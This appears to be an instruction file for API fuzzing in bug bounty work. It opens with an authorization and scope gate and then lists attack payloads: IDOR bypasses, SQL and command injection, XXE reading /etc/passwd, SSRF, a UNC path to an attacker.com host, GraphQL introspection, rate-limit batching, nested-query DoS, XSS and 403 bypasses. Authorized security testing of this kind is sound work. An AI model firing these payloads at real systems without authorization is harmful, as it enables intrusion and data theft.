> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

API Types Overview

| Type | Protocol | Data Format | Structure |

|------|----------|-------------|-----------|

| SOAP | HTTP | XML | Header + Body |

| REST | HTTP | JSON/XML/URL | Defined endpoints |

| GraphQL | HTTP | Custom Query | Single endpoint |

---

Core Workflow

Use controlled test accounts/tenants and read-only canary resources. Scope rate, concurrency, duration, write/delete methods, SSRF destinations and any callback endpoint in the rules of engagement. DoS/deep recursion, credential attacks and destructive method tests require explicit separate approval and a disposable lab where possible. Stop on rate limits or unexpected access to real personal data; never evade limits through IP rotation. Payloads below are hypotheses, not proof of a vulnerability or a mandate to try every technique.

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    id  # Controlled canary record only; do not request real passwords/payment data
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
